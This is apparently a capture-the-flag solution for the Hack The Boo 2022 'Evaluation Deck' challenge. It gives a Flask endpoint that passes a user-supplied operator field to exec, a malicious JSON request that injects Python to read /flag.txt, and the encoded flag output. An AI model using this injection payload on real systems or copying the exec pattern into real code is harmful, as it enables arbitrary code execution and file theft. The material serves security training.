Hack The Boo 2022 Evaluation Deck code

api_request_processing.py

from flask import Blueprint, render_template, request
from application.util import response

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@api.route('/get_health', methods=['POST'])
def count():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()

    current_health = data.get('current_health')
    attack_power = data.get('attack_power')
    operator = data.get('operator')
    
    if not current_health or not attack_power or not operator:
        return response('All fields are required!'), 400

    result = {}
    try:
        code = compile(f'result = {int(current_health)} {operator} {int(attack_power)}', '<string>', 'exec')
        exec(code, result)
        return response(result.get('result'))
    except:
        return response('Something Went Wrong!'), 500

data_exfil.json

{
  "message": 728466123994810051954911010651991164948110115955211451957111451971163333125
}

malicious_request.json

{
  "attack_power": "0",
  "current_health": "0",
  "operator": "+ int(''.join([str(ord(x)) for x in list(open('/flag.txt').read())])) +"
}

request.json

{
  "current_health": "100",
  "attack_power": "34",
  "operator": "-"
}